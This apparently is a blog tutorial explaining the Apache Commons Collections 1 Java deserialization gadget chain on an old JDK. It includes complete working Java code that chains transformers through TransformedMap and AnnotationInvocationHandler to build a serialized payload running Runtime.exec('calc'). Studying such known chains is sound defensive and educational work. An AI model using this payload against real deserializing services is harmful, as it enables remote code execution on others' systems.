Understanding the Commons Collections 1 Deserialization Chain

Environment Setup

The CC1 gadget chain was patched in JDK 8u71 and later. Therefore, we need a JDK version prior to that. This analysis uses JDK 8u66. To obtain the required source files (especially for sun.reflect.annotation.AnnotationInvocationHandler), follow these steps:

  1. Download the vulnerable JDK version from this OpenJDK changeset and extract its zip archive.
  2. In your JDK installation directory (e.g., D:\Environment\JAVA\jdk8u66), extract the bundled src.zip into the same folder.
  3. From the downloaded zip, locate the sun package (path: jdk-af660750b2f4/src/share/classes) and copy it into the src folder of your JDK directory.
  4. In IntelliJ IDEA, open Project Structure → SDKs, select you're JDK, and add the src directory to the Sourcepath.

Core Vulnerability: InvokerTransformer

The attack begins with org.apache.commons.collections.functors.InvokerTransformer. Its transform method uses Java reflection to invoke an arbitrary method on an arbitrary object:

// Pseudo-logic of InvokerTransformer.transform()
Object input = ...;
Method method = input.getClass().getMethod(methodName, paramTypes);
return method.invoke(input, args);

Thus, we can execute any method (e.g., exec on a Runtime object).

Other Key Transformer Implementations

  • ChainedTransformer: Holds a array of Transformer objects. Calling transform() passes the result of each transformer to the next.
  • ConstantTransformer: Returns the same object that was passed to its constructor every time transform() is called.

Finding a Trigger: TransformedMap

Searching for callers of transform() leads us to TransformedMap.checkSetValue(). This method is called from setValue() in the same class. The valueTransformer field is a Transformer instance that is set via the static decorate() method:

public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) { ... }

We can create a TransformedMap that wraps a normal HashMap and assigns our malicious InvokerTransformer as the valueTransformer. Then, calling setValue() on any entry in this map will execute the transformer. But we need a chain that ends with Runtime.exec().

Chaining the Transformers

Initially, we might try to pass a Runtime object directly to ConstantTransformer, but Runtime is not serializable. The solution is to use Runtime.class (which is serializable) and invoke getRuntime() via reflection:

Transformer[] chain = new Transformer[] {
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod",
        new Class[]{String.class, Class[].class},
        new Object[]{"getRuntime", null}),
    new InvokerTransformer("invoke",
        new Class[]{Object.class, Object[].class},
        new Object[]{null, null}),
    new InvokerTransformer("exec",
        new Class[]{String.class},
        new Object[]{"calc"})
};
ChainedTransformer ct = new ChainedTransformer(chain);

This chain will: return Runtime.class → call getMethod("getRuntime") → invoke getRuntime() to get the Runtime singleton → call exec("calc").

Leveraging AnnotationInvocationHandler

The final step is to find a deserialization entry point. sun.reflect.annotation.AnnotationInvocationHandler has a readObject method that iterates over a Map (passed via constructor) and calls setValue() on each entry. Its constructor expects a Class<? extends Annotation> and a Map<String, Object>. We can use Target.class (an annotation that has a value member) and force the map to have a key equal to "value".

// Prepare a HashMap with key "value"
HashMap<Object,Object> data = new HashMap<>();
data.put("value", "anything");

// Wrap it with TransformedMap using our ChainedTransformer
Map wrapped = TransformedMap.decorate(data, null, ct);

// Create the AnnotationInvocationHandler via reflection
Class<?> handlerClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> ctor = handlerClass.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object handler = ctor.newInstance(Target.class, wrapped);

// Serialize and deserialize to trigger the chain
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("payload.bin"));
oos.writeObject(handler);
oos.close();

ObjectInputStream ois = new ObjectInputStream(new FileInputStream("payload.bin"));
ois.readObject();  // calc.exe executes

When readObject() runs, the AnnotationInvocationHandler calls setValue() on the map entry (key "value"). This triggers TransformedMap.checkSetValue(), which calls valueTransformer.transform() – our ChainedTransformer. The chain runs and eventually executes Runtime.getRuntime().exec("calc").

Tags: commons-collections java-deserialization gadget-chain InvokerTransformer AnnotationInvocationHandler

Posted on Tue, 07 Jul 2026 17:25:29 +0000 by mpower